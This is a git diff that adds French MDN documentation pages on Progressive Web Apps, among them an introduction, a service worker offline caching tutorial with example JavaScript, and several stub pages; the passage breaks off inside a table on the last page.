+<p>Pour plus d'information sur l'écran "Ajout à l'écran d'accueil", reportez-vous au <a href="/en-US/docs/Web/Apps/Progressive/Add_to_home_screen">guide d'ajout à l'écran d'accueil</a>. La prise en charge des navigateurs est actuellement limitée à Firefox pour Android 58+, Mobile Chrome et Android Webview 31+ et Opera pour Android 32+, mais ceci doit s'améliorer dans un proche avenir.</p>
+
+<p>Maintenant voyons la dernière pièce du puzzle PWA puzzle — ré-engagement via les notifications poussées.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</p>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</p>
diff --git a/files/fr/web/progressive_web_apps/introduction/index.html b/files/fr/web/progressive_web_apps/introduction/index.html
new file mode 100644
index 0000000000..48ad9b808c
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/introduction/index.html
@@ -0,0 +1,96 @@
+---
+title: Introduction aux progressive web apps
+slug: Web/Progressive_web_apps/Introduction
+tags:
+  - Introduction
+  - PWA
+  - Service Worker
+  - application web progressive
+  - web manifest
+translation_of: Web/Progressive_web_apps/Introduction
+---
+<div>{{NextMenu("Web/Progressive_web_apps/App_structure", "Web/Progressive_web_apps")}}</div>
+
+<p class="summary">Cet article fournit une introduction aux Progressive Web Apps (PWA), présentant ce qui les caractérise, et les avantages qu'elles apportent par rapport à de simples applications web.</p>
+
+<h2 id="Quest-ce_quune_Progressive_Web_App">Qu'est-ce qu'une Progressive Web App?</h2>
+
+<p>Les PWA sont des applications web développées à l'aide de technologies spécifiques et de standards leur permettant de tirer parti à la fois des fonctionnalités du web et de celles des applications natives.</p>
+
+<p>Par exemple, les applications web sont plus faciles à trouver — c'est beaucoup plus facile et rapide de consulter un site web que d'installer une application, et ces applications web peuvent être partagées grâce à un lien.</p>
+
+<p>Par ailleurs, les applications natives s'intègrent mieux avec le système d'exploitation et offrent souvent une expérience utilisateur plus fluide. Vous pouvez installer une application native afin qu'elle fonctionne hors-ligne, et les utilisateurs préfèrent ouvrir leur applications favorites via les icônes présentent sur leur écran d'accueil de téléphone, plutôt que d'y accéder via leur navigateur.</p>
+
+<p>Les PWA nous offrent la possibilité de créer des applications web qui bénéficient des mêmes avantages.</p>
+
+<p>Ce n'est pas un tout nouveau concept — par le passé, ce type d'idées ont été revues de nombreuses fois sur le web avec des approches différentes. L'amélioration progressive (<em>progressive enhancement</em>) et le <em>responsive design</em> nous permettent déjà de créer des site web plus accessibles sur téléphone. Travailler hors-ligne et installer des applications était possible au sein de l'environnement Firefox OS il y a quelques années.</p>
+
+<p>Les PWA, cependant, vont encore plus loin, sans pour autant se débarrasser des fonctionnalités qui font la force du web.</p>
+
+<h2 id="Quest-ce_qui_caractérise_une_PWA">Qu'est-ce qui caractérise une PWA ?</h2>
+
+<p>Comme suggéré plus haut, les PWA ne sont pas créées à l'aide d'une seule technologie. Elles constituent une nouvelle philosophie pour faire des applications web, impliquant certains motifs spécifiques, des API, et d'autres fonctionnalités. De prime abord, ce n'est pas évident de savoir si une application web est une application web progressive. Une application peut être considérée une application web progressive si elle remplit certains critères, ou implémente un ensemble de fonctionnatilés données: fonctionne hors-ligne, est installable, est facile à synchroniser, peut envoyer des notifications <em>push</em>, etc.</p>
+
+<p>En complément, il existe des outils pour mesurer le pourcentage de conformité d'une application a être une application web progressive (<a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a> est actuellement le plus populaire). En implémentant une variété de technologies, nous pouvons rendre une application plus progressive, finissant ainsi avec un score Lighthouse plus élevé. Mais ce n'est qu'un indicateur global.</p>
+
+<p>Il y a des principes clés qu'une application web devrait suivre afin d'être identifée comme une PWA. Elle doit être:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Advantages#Discoverable">Discoverable</a>, afin que le contenu soit trouvé à l'aide de moteurs de recherche.</li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Advantages#Installable">Installable</a>, afin d'être disponible sur l'écran d'accueil de l'appareil.</li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Advantages#Linkable">Linkable</a>, afin que vous puissiez la partager simplement en envoyant un lien. </li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Advantages#Network_independent">Network independent</a>, afin qu'elle fonctionne hors-ligne ou avec une mauvaise connexion internet.</li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Advantages#Progressive">Progressive</a>, afin qu'elle soit utilisable sur les plus vieux navigateurs, mais complétement fonctionnelle sur les derniers.</li>
+ <li><a href="/en-US/docs/Web/Progressive_web_apps/Advantages#Re-engageable">Re-engageable</a>, afin qu'elle soit capable d'envoyer des notifications lorsque du nouveau contenu est disponible.</li>
+ <li><a href="/en-US/docs/web/Progressive_web_apps/Advantages#Responsive">Responsive</a>, afin q'uelle soit fonctionnelle sur n'importe quel appareil et résolution d'écran — téléphones mobiles, tablettes, ordinateurs portables, télévisions, réfrigérateurs, etc.</li>
+ <li><a href="/en-US/docs/web/Progressive_web_apps/Advantages#Safe">Safe</a>, afin que le connexion entre vous et l'application soit sécurisée et prévienne n'importe quel tiers d'accéder à vos données.</li>
+</ul>
+
+<h3 id="Est-ce_que_ça_vaut_le_coup_de_faire_tout_ça">Est-ce que ça vaut le coup de faire tout ça ?</h3>
+
+<p>Absolument! Avec relativement peu d'effort pour implémenter l'essentiel des fonctionnalités requises par une PWA, les bénéfices sont énormes. Par exemple:</p>
+
+<ul>
+ <li>Une diminution du temps de chargement après avoir installé l'application, et ceci grâce au système de cache des <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a>, s'accompagnant aussi par une économie précieuse de bande passante et de temps.</li>
+ <li>La possibilité de seulement mettre à jour le contenu qui a changé lorsque qu'une mise à jour d'application est disponible. A contrario, avec une  application native, même la plus petite modification peut obliger l'utilisateur à télécharger entièrement l'application à nouveau.</li>
+ <li>Une sensation d'utilisation et une apparence plus proche d'une application native— icônes d'applications sur l'écran d'accueil, des applications qui s'ouvrent en plein écran, etc.</li>
+ <li>Les utilisateurs sont plus engagés grâce à un système de notifications et de messages <em>push</em>, créant des utlisateurs plus impliqués apportant des taux de conversion plus élevés.</li>
+</ul>
+
+<p>Il y a de nombreuses histoires à succès à propos d'entreprises ayant essayé les PWA, optant pour une expérience web enrichie plutôt qu'une application, et constatant des bénéfices significatifs et mesurables. Le site web <a href="https://www.pwastats.com/">PWA Stats</a> partage de nombreux cas d'études qui démontrent ces bénéfices.</p>
+
+<p>L'histoire la plus connue est sans doute celle de <a href="https://stories.flipkart.com/introducing-flipkart-lite/">Flipkart Lite</a> — le plus large site e-commerce indien redéveloppé en PWA en 2015, ce qui a conduit à 70% d'augmentation en conversions. La PWA <a href="https://m.aliexpress.com/">AliExpress</a> a aussi constaté de bien meilleurs résultats que le web ou l'application native, avec une augmentation de 104% en terme de taux de conversions pour les nouveaux utilisateurs. Au vu de ces augmentations de profit, et la charge relativement faible de travail requis pour convertir une application en PWA, l'avantage est évident.</p>
+
+<p>Des start-up émergeantes comme <a href="https://www.couponmoto.com/">couponmoto</a> ont aussi commencé à utiliser des applications web progressives pour améliorer l'engagement des consommateurs, démontrant qu'elles peuvent aider les petites entreprises autant que les grosses à fidéliser les utilisateurs plus efficacement.</p>
+
+<p>Vous pouvez consulter la liste sur <a href="https://pwa.rocks/">pwa.rocks</a> pour plus d'exemples. Une page particulièrement intéressante à mentionner est celle de <a href="https://hnpwa.com/">hnpwa.com</a> — elle liste un exemple d'implémentation du site web Hacker News (au lieu du TodoMVC app classique), dans lequel vous pouvez voir l'utilisation de plusieurs <em>frameworks </em>front-end.</p>
+
+<p>Vous pouvez même générer des PWA en ligne à l'aide du site web <a href="https://www.pwabuilder.com/">PWABuilder</a>.</p>
+
+<p>Pour les informations spécifiques aux <em>service workers</em> et aux notifications <em>push</em>, consultez le <a href="https://serviceworke.rs/">Service Worker Cookbook</a>, une collection d'exemples utilisant des <em>service workers</em>.</p>
+
+<p>Ça vaut le coup d'essayer l'approche PWA, afin que vous puissiez constater par vous-même si ça convient à votre application.</p>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p>Comme expliqué précédemment, les PWA ne reposent pas sur une seule API, mais plutôt sur plusieurs technologies pour atteindre l'objectif de délivrer la meilleure expérience web possible.</p>
+
+<p>L'ingrédient clé requis pour les PWA est le support des <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>. Heureusement les <em>service workers</em> sont <a href="https://jakearchibald.github.io/isserviceworkerready/">désormais supportés sur tous les principaux navigateurs</a>, sur ordinateur et sur téléphone mobile.</p>
+
+<p>D'autres fonctionnalités telles que <a href="/en-US/docs/Web/Manifest">Web App Manifest</a>, <a href="/en-US/docs/Web/API/Push_API">Push</a>, <a href="/en-US/docs/Web/API/Notifications_API">Notifications</a>, et <a href="/en-US/docs/Web/Progressive_web_apps/Add_to_home_screen">Add to Home Screen</a> bénéficient également d'un large support. Juqu'à présent Safari a limité le support du <em>Web App Manifest</em> et <em>Add to Home Screen</em>, et ne supporte pas les notifications web <em>push</em>. Cependant, les principaux autres navigateurs supportent toutes ces fonctionnalités.</p>
+
+<p>Certaines de ces API sont expérimentales, et accompagnées d'une documenation toujours à l'état de brouillon, mais les histoires à succès comme celles de Flibkart et AliExpress devraient d'ores et déjà suffire à vous convaincre d'essayer et d'implémenter certaines de ces fonctionnalités dans votre application web.</p>
+
+<p>Par dessus tout, vous devriez suivre la régle d'amélioration progressive — utilisez les technologies qui fournissent ces améliorations seulement où elles sont supportées, mais proposez quand même les fonctionnalités basiques de votre application lorsqu'elles ne le sont pas. De cette façon, tout le monde sera en mesure de l'utiliser, mais ceux aqui ont un navigateur récent bénéficieront de toutes les fonctionnalités offertes par les PWA et même plus.</p>
+
+<h2 id="Un_exemple_dapplication">Un exemple d'application</h2>
+
+<p>Dans cette série d'articles nous examinerons le code source d'un site web simple qui propose des informations à propos de jeux soumis à <a href="http://js13kgames.com/aframe">A-Frame category</a> lors de la compétition <a href="http://2017.js13kgames.com/">js13kGames 2017</a>. Ne vous souciez pas du contenu réel du site — le plus important est d'apprendre à utiliser les fonctionnalités des PWA dans vos propres projets.</p>
+
+<p>Vous pouvez trouver la version en ligne sur <a href="https://mdn.github.io/pwa-examples/js13kpwa/">mdn.github.io/pwa-examples/js13kpwa</a> (et <a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">le code source</a>), que l'on va expliquer avec attention dans les prochains articles.</p>
+
+<p>Maintenant, allons à la deuxième partie de cette série, dans laquelle on s'intéressera à la structure de notre application démo.</p>
+
+<p>{{NextMenu("Web/Progressive_web_apps/App_structure", "Web/Progressive_web_apps")}}</p>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/fr/web/progressive_web_apps/offline_service_workers/index.html b/files/fr/web/progressive_web_apps/offline_service_workers/index.html
new file mode 100644
index 0000000000..6edb63fc27
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/offline_service_workers/index.html
@@ -0,0 +1,208 @@
+---
+title: Faire fonctionner les PWAs en mode déconnecté grâce aux Service workers
+slug: Web/Progressive_web_apps/Offline_Service_workers
+tags:
+  - PWA
+  - Progressive web app
+  - Service Workers
+  - hors-ligne
+  - js13kGames
+  - progressive
+translation_of: Web/Progressive_web_apps/Offline_Service_workers
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">Maintenant que nous avons vu à quoi ressemble l'architecture de js13kPWA et que nous avons configuré et exécuté la structure de base, voyons comment sont implémentées les fonctionnalités en mode déconnecté mettant en oeuvre Service Worker. Dans cet article, nous examinerons comment cela est utilisé dans notre <a href="https://mdn.github.io/pwa-examples/js13kpwa/">exemple js13kPWA</a> (<a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">voir également le code source</a>). Nous examinerons comment ajouter la fonctionnalité mode déconnecté.</p>
+
+<h2 id="Les_Service_workers_expliqués">Les Service workers expliqués</h2>
+
+<p>Les Service Workers sont des proxy virtuels entre le navigateur et le réseau. Ils permettent enfin de régler les problèmes auxquels les développeurs front-end se débattent depuis des années — et plus particulièrement comment mettre proprement en cache les composants d'un site web et les rendre disponibles quand l'appareil de l'utilisateur est hors connexion.</p>
+
+<p>Ils s'exécutent dans un processus séparé de celui du code JavaScript principal de notre page et n'ont aucun accès à la structure DOM. Cela introduit une approche différente de celle de la programmation web traditionnelle — l'API est non bloquante et peut émettre et recevoir de la communication entre différents contextes. Vous pouvez donner à un Service Worker quelque chose à faire et recevoir le résultat quand il est prêt en utilisant une approche basée sur les <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>.</p>
+
+<p>Ils peuvent faire beaucoup plus que "simplement" offrir des capacités en mode déconnecté, comme gérer des notifications, exécuter des calculs intensifs dans des processus séparés, etc. Les Service Workers sont assez puissants car ils peuvent prendre le contrôle de requêtes réseau, les modifier, fournir des réponses personnalisées récupérées du cache ou générer complètement des réponses.</p>
+
+<h3 id="Sécurité">Sécurité</h3>
+
+<p>Puisqu'ils sont si puissants, les Service Workers ne peuvent être exécutés que dans des contextes sécurisés (c'est-à-dire HTTPS). Si vous voulez tester avant de pousser votre code en production, vous pouvez toujours tester sur le localhost ou configurer les pages GitHub — les deux prennent en charge le HTTPS.</p>
+
+<h2 id="Mode_offline_first">Mode "offline first"</h2>
+
+<p>Le modèle "offline first — ou "cache first" — est la stratégie la plus populaire pour délivrer du contenu à un utilisateur. Si une ressource est en cache et disponible hors ligne, on la sert avant de tenter de la télécharger depuis le serveur. Si elle n'est pas déjà en cache, on la télécharge et on la met en cache pour une utilisation future.</p>
+
+<h2 id="Progressive_dans_PWA">"Progressive" dans PWA</h2>
+
+<p>Lorsqu'implementés proprement en tant qu'amélioration progressive, les service workers peuvent profiter aux utilisateurs qui ont des navigateurs modernes qui implémentent l'API en offrant une prise en charge du mode déconnecté, mais ne casseront rien pour ceux qui utilisent des navigateurs plus anciens.</p>
+
+<h2 id="Service_workers_dans_lapp_js13kPWA">Service workers dans l'app js13kPWA</h2>
+
+<p>Assez de théorie — voyons un peu de code source !</p>
+
+<h3 id="Enregistrer_le_Service_Worker">Enregistrer le Service Worker</h3>
+
+<p>Commençons par regarder le code qui enregistre un nouveau Service Worker, dans le fichier app.js: </p>
+
+<p><strong>NOTE</strong> : Nous utilisons la syntaxe des <strong>fonctions flèchées</strong> pour l'implémentation du Service Worker</p>
+
+<pre class="brush: js notranslate">if('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('./pwa-examples/js13kpwa/sw.js');
+};</pre>
+
+<p>Si l'API service worker est prise en charge dans le navigateur, il est enregistré pour le site en utilisant la méthode {{domxref("ServiceWorkerContainer.register()")}}. Son contenu se trouve dans le fichier sw.js et peut être exécuté une fois que l'enregistrement a réussi. C'est la seule partie de code du Service Worker qui se trouve dans le fichier app.js. Tout le reste spécifique au Service Worker se trouve dans le fichier sw.js .</p>
+
+<h3 id="Le_cycle_de_vie_dun_Service_Worker">Le cycle de vie d'un Service Worker</h3>
+
+<p>Une fois que l'enregistrement a été réalisé, le fichier sw.js est automatiquement téléchargé, puis installé, et finalement activé.</p>
+
+<h4 id="Installation">Installation</h4>
+
+<p>L'API nous permet d'ajouter des intercepteurs d'événements ou <em>event listeners</em> pour les événements clef qui nous intéressent — le premier est l'événement <code>install</code>:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', (e) =&gt; {
+    console.log('[Service Worker] Installation');
+});</pre>
+
+<p>Dans le listener <code>install</code>, nous pouvons initialiser le cache et y ajouter des fichiers pour une utilisation hors connexion. Notre app js13kPWA fait exactement ça.</p>
+
+<p>D'abord, une variable pour enregistrer le nom du cache est créée, les fichiers de l'app shell sont listés dans un tableau.</p>
+
+<pre class="brush: js notranslate">var cacheName = 'js13kPWA-v1';
+var appShellFiles = [
+  '/pwa-examples/js13kpwa/',
+  '/pwa-examples/js13kpwa/index.html',
+  '/pwa-examples/js13kpwa/app.js',
+  '/pwa-examples/js13kpwa/style.css',
+  '/pwa-examples/js13kpwa/fonts/graduate.eot',
+  '/pwa-examples/js13kpwa/fonts/graduate.ttf',
+  '/pwa-examples/js13kpwa/fonts/graduate.woff',
+  '/pwa-examples/js13kpwa/favicon.ico',
+  '/pwa-examples/js13kpwa/img/js13kgames.png',
+  '/pwa-examples/js13kpwa/img/bg.png',
+  '/pwa-examples/js13kpwa/icons/icon-32.png',
+  '/pwa-examples/js13kpwa/icons/icon-64.png',
+  '/pwa-examples/js13kpwa/icons/icon-96.png',
+  '/pwa-examples/js13kpwa/icons/icon-128.png',
+  '/pwa-examples/js13kpwa/icons/icon-168.png',
+  '/pwa-examples/js13kpwa/icons/icon-192.png',
+  '/pwa-examples/js13kpwa/icons/icon-256.png',
+  '/pwa-examples/js13kpwa/icons/icon-512.png'
+];</pre>
+
+<p>Ensuite, les liens vers les images à charger en même temps que le contenu du fichier data/games.js sont générés dans un second tableau. Puis les deux tableaux sont fusionnés en utilisant la fonction {{jsxref("Array.prototype.concat()")}}.</p>
+
+<pre class="brush: js notranslate">var gamesImages = [];
+for(var i=0; i&lt;games.length; i++) {
+  gamesImages.push('data/img/'+games[i].slug+'.jpg');
+}
+var contentToCache = appShellFiles.concat(gamesImages);</pre>
+
+<p>Ensuite, nous pouvons gérer l'événement <code>install</code> lui-même:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', (e) =&gt; {
+  console.log('[Service Worker] Installation');
+  e.waitUntil(
+    caches.open(cacheName).then((cache) =&gt; {
+          console.log('[Service Worker] Mise en cache globale: app shell et contenu');
+      return cache.addAll(contentToCache);
+    })
+  );
+});</pre>
+
+<p>Deux choses ici nécessitent une explication : ce que {{domxref("ExtendableEvent.waitUntil")}} fait et ce qu'est l'objet {{domxref("Caches","caches")}}.</p>
+
+<p>Le service worker ne s'installe pas tant que le code de <code>waitUntil</code> n'est pas exécuté. Il renvoie une promesse — Cette approche est nécessaire car l'installation peut prendre du temps, donc nous devons attendre qu'elle soit terminée.</p>
+
+<p><code>caches</code> est un objet {{domxref("CacheStorage")}} spécial accessible dans la portée du Service Worker et qui permet d'enregistrer les données — l'enregistrement dans le <a href="/en-US/docs/Web/API/Web_Storage_API">web storage</a> ne fonctionnera pas, parce que le web storage fonctionne de façon synchrone. Avec les Service Workers, nous utilisons l'API Cache à la place. Ici, nous ouvrons un cache sous un nom donné, puis nous lui ajoutons tous les fichiers que notre app utilise, de telle sorte qu'ils soient disponibles la prochaine fois qu'il sera chargé (identifié par l'URL de la requête).</p>
+
+<p>Vous avez remarqué que nous n'avons pas mis en cache le fichier <code>game.js</code>. Ce fichier contient les données utilisées pour afficher les jeux. En réalité, ces données seront appelées depuis le endpoint d'une API ou depuis une base de données.Mettre en cache ces données signifierait qu'elles ne seraient mises à jour que périodiquement quand il y' a une connexion au réseau. Nous n'irons pas plus loin sur ce sujet, pour en savoir plus : <a href="/en-US/docs/Web/API/Web_Periodic_Background_Synchronization_API">Web_Periodic_Background_Synchronization_API</a> .</p>
+
+<h4 id="Activation">Activation</h4>
+
+<p>Il y a également un événement <code>activate</code> qui est utilisé de la même façon que <code>install</code>. Cet événement est habituellement utilisé pour supprimer tout fichier qui n'est plus nécessaire et nettoyer derrière l'app en général. Nous n'avons pas besoin de faire ça dans notre app, donc nous l'omettrons.</p>
+
+<h3 id="Répondre_aux_requêtes">Répondre aux requêtes</h3>
+
+<p>Nous avons également un événement <code>fetch</code> à notre disposition et qui est déclenché à chaque fois qu'une requête HTTP est émise par notre app. Ceci est très  utile car ça nous permet d'intercepter des requêtes et d'y répondre de façon personnalisée. Voic un exemple d'utilisation simpliste:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (e) =&gt; {
+    console.log('[Service Worker] Ressource récupérée '+e.request.url);
+});</pre>
+
+<p>La réponse peut être ce que nous voulons: le fichier demandé, sa copie mise en cache ou un bout de code JavaScript qui fera quelque chose de particulier — les possibilités sont infinies.</p>
+
+<p>Dans notre app d'exemple, nous servons le contenu à partir du cache plutôt qu'à partir du réseau tant que la ressource se trouve effectivement dans le cache. Nous faisons ceci que l'app soit en mode connecté ou déconnecté. Si le fichier n'est pas dans le cache, l'app commence par l'y ajouter avant de le servir:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (e) =&gt; {
+  e.respondWith(
+    caches.match(e.request).then((r) =&gt; {
+          console.log('[Service Worker] Récupération de la ressource: '+e.request.url);
+      return r || fetch(e.request).then((response) =&gt; {
+                return caches.open(cacheName).then((cache) =&gt; {
+          console.log('[Service Worker] Mise en cache de la nouvelle ressource: '+e.request.url);
+          cache.put(e.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<p>Ici, nous répondons à l'événement <code>fetch</code> grâce à une fonction qui essaie de trouver la ressource dans le cache et de renvoyer la réponse si elle y est. Si elle n'y est pas, nous utilisons une autre requête de récupération pour aller la chercher via le réseau, puis enregistrer la réponse dans le cache de telle sorte qu'elle y soit disponible la prochaine fois qu'elle sera demandée.</p>
+
+<p>La méthode {{domxref("FetchEvent.respondWith")}} prend le contrôle — c'est la partie qui agit en tant que serveur proxy entre l'application et le réseau. Ceci nous permet de répondre à chacune des requêtes avec la réponse que nous voulons: celle préparée par le Service Worker, celle récupérée dans le cache, modifiée si nécessaire.</p>
+
+<p>ça y est ! Notre application met en cache ses ressources lors de l'installation et les sert en les récupérant dans le cache, si bien qu'elle fonctionne même si l'utilisateur n'a pas de connexion. Elle met également en cache les contenus dès qu'il y en a de nouveaux d'ajoutés.</p>
+
+<h2 id="Mises_à_jour">Mises à jour</h2>
+
+<p>Il reste un point à couvrir: comment mettre à jour un Service Worker quand une nouvelle version de l'application contenant de nouveaux éléments est disponible ? Le numéro de version dans le nom du cache est la clef de l'énigme:</p>
+
+<pre class="brush: js notranslate">var cacheName = 'js13kPWA-v1';</pre>
+
+<p>Quand ceci est mis à jour en v2, nous pouvons alors ajouter tous nos fichiers (en incluant nos nouveaux fichiers) dans un nouveau cache:</p>
+
+<pre class="brush: js notranslate">contentToCache.push('/pwa-examples/js13kpwa/icons/icon-32.png');
+
+// ...
+
+self.addEventListener('install', (e) =&gt; {
+  e.waitUntil(
+    caches.open('js13kPWA-v2').then((cache) =&gt; {
+      return cache.addAll(contentToCache);
+    })
+  );
+});</pre>
+
+<p>Un nouveau service worker est installé en arrière plan et le précédent (v1) fonctionne correctement jusqu'à ce que plus aucune page ne l'utilise — le nouveau Service Worker est alors activé et prend à son compte la gestion de la page à la place de l'ancien.</p>
+
+<h2 id="Vider_le_cache">Vider le cache</h2>
+
+<p>Vous vous rappelez l'événement <code>activate</code> que nous avons éludé ? Il peut être utilisé pour vider l'ancien cache dont nous n'avons désormais plus besoin:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('activate', (e) =&gt; {
+  e.waitUntil(
+    caches.keys().then((keyList) =&gt; {
+          return Promise.all(keyList.map((key) =&gt; {
+        if(cacheName.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});</pre>
+
+<p>Ceci nous assure que nous avons seulement les fichiers dont nous avons besoin dans le cache, de telle sorte que nous ne laissions pas de déchets derrière nous; l'<a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">espace de cache disponible dans le navigateur est limité</a>, c'est donc une bonne idée de nettoyer derrière nous.</p>
+
+<h2 id="Autres_cas_dusage">Autres cas d'usage</h2>
+
+<p>Servir des fichiers depuis le cache n'est pas la seule fonctionnalité que le Service Worker offre. Si vous avez des calculs coûteux à faire, vous pouvez en décharger le processus principal et les exécuter dans le worker, puis recevoir les résultats dès qu'ils sont disponibles. En gérant astucieusement les performances, vous pouvez pré-charger des ressources qui ne sont acutellement pas nécessaires, mais qui pourront l'être dans un futur proche, si bien que l'application sera plus rapide quand vous aurez effectivement besoin de ces ressources.</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Dans cet article, nous avons rapidement abordé la façon de faire fonctionner notre PWA en mode déconnecté grâce aux service workers. Consultez  la documentation si vous voulez en apprendre davantage sur les concepts qui sont derrière l'<a href="/en-US/docs/Web/API/Service_Worker_API">API Service Worker</a> et comment l'exploiter au mieux.</p>
+
+<p>Les Service Workers sont également utilisés pour gérer les <a href="https://developer.mozilla.org/fr/docs/Web/API/Push_API">push notifications </a><a href="/fr/docs//Web/API/Push_API"> </a>— ceci sera expliqué dans un prochain article.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/App_structure", "Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive")}}</p>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/fr/web/progressive_web_apps/partageable/index.html b/files/fr/web/progressive_web_apps/partageable/index.html
new file mode 100644
index 0000000000..696b03e955
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/partageable/index.html
@@ -0,0 +1,31 @@
+---
+title: Partageable
+slug: Web/Progressive_web_apps/Partageable
+tags:
+  - Applications
+  - Applications web modernes
+  - Applications web progressives
+  - Partageable
+translation_of: Web/Progressive_web_apps
+---
+<div class="column-container summary">
+<div class="column-11">Une des fonctions les plus puissantes du Web est d'être capable de relier une application web à un lien URL spécifique — pas besoin de plateforme d'application, pas de processus complexe d'installation. Cela a toujours été comme ça.</div>
+
+<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12658/linkable.svg" style="height: 40px; width: 82px;"></div>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<p>Aucun document actuellement; les contributions sont les bienvenues.</p>
+
+<h2 id="Technologies">Technologies</h2>
+
+<p>Pas besoin de nouvelle technologie - Le Web a toujours fonctionné comme ça !</p>
+
+<h2 id="Outils">Outils</h2>
+
+<p><em>Ajouter un lien vers un outil ou une bibliothèque utile.</em></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p><em>Ajouter un lien vers des informations liées</em>.</p>
diff --git a/files/fr/web/progressive_web_apps/progressive/index.html b/files/fr/web/progressive_web_apps/progressive/index.html
new file mode 100644
index 0000000000..b4962b1d2c
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/progressive/index.html
@@ -0,0 +1,30 @@
+---
+title: Progressive
+slug: Web/Progressive_web_apps/Progressive
+tags:
+  - Amélioration progressive
+  - Applications
+  - Design adaptatif
+translation_of: Web/Progressive_web_apps
+---
+<div class="column-container summary">
+<div class="column-11">Les applications web modernes peuvent être développées pour fournir une experience vraiment agréable avec les navigateurs complètement compatibles, et une expérience correcte (mais pas aussi brillante) avec les navigateurs moins aptes. Nous avons fait cela pendant des années avec de bonnes pratiques comme l'amélioration progressive, donc gardons cette bonne manière de faire les choses.</div>
+
+<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12662/progressive.svg" style="height: 40px; width: 66px;"></div>
+</div>
+
+<h2 id="GuidesEdit">Guides<a class="button section-edit only-icon" href="https://developer.mozilla.org/fr/docs/Web/Apps/Progressive/Partageable$edit#Guides"><span>Edit</span></a></h2>
+
+<p>Aucun document actuellement; les contributions sont les bienvenues.</p>
+
+<h2 id="TechnologiesEdit">Technologies<a class="button section-edit only-icon" href="https://developer.mozilla.org/fr/docs/Web/Apps/Progressive/Partageable$edit#Technologies"><span>Edit</span></a></h2>
+
+<p>Pas besoin de nouvelle technologie - Le Web a toujours fonctionné comme ça depuis longtemps !</p>
+
+<h2 id="OutilsEdit">Outils<a class="button section-edit only-icon" href="https://developer.mozilla.org/fr/docs/Web/Apps/Progressive/Partageable$edit#Outils"><span>Edit</span></a></h2>
+
+<p><em>Ajouter un lien vers un outils ou une bibliothèque utile.</em></p>
+
+<h2 id="Voir_aussiEdit">Voir aussi<a class="button section-edit only-icon" href="https://developer.mozilla.org/fr/docs/Web/Apps/Progressive/Partageable$edit#Voir_aussi"><span>Edit</span></a></h2>
+
+<p><em>Ajouter un lien vers des informations liées</em>.</p>
diff --git a/files/fr/web/progressive_web_apps/re-engageable/index.html b/files/fr/web/progressive_web_apps/re-engageable/index.html
new file mode 100644
index 0000000000..8dcc210dba
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/re-engageable/index.html
@@ -0,0 +1,80 @@
+---
+title: Re-engageable
+slug: Web/Progressive_web_apps/Re-engageable
+tags:
+  - Applications
+  - Notifications
+  - Push
+  - Service Workers
+  - Web
+translation_of: Web/Progressive_web_apps
+---
+<div class="column-container summary">
+<div class="column-11">Un des principaux avantages des plateformes natives est la facilité avec laquelle les utilisateurs peuvent se retrouver de nouveaux attirés par des mises-à-jour et du nouveau contenu, même quand ils ne sont pas en train de regarder l'application ou d'utiliser leur appareil. Les applications web modernes peuvent désormais le faire aussi, en utilisant de nouvelles technologies comme l'API Web Push.</div>
+
+<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12666/re-engageable.svg" style="height: 43px; width: 43px;"></div>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers" lang="fr">Utiliser l'API service workers</a></dt>
+ <dd>Un guide simple pour débutant à l'API Service Worker.</dd>
+ <dt><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API" lang="en">Utiliser l'API Push</a></dt>
+ <dd>Apprendre les bases de l'API Web Push.</dd>
+ <dt><a href="/fr/docs/Web/API/notification/Using_Web_Notifications">Utiliser l'API Notifications</a></dt>
+ <dd>Un résumé sur les notifications Web.</dd>
+</dl>
+
+<h2 id="Technologies">Technologies</h2>
+
+<table class="standard-table">
+ <thead>
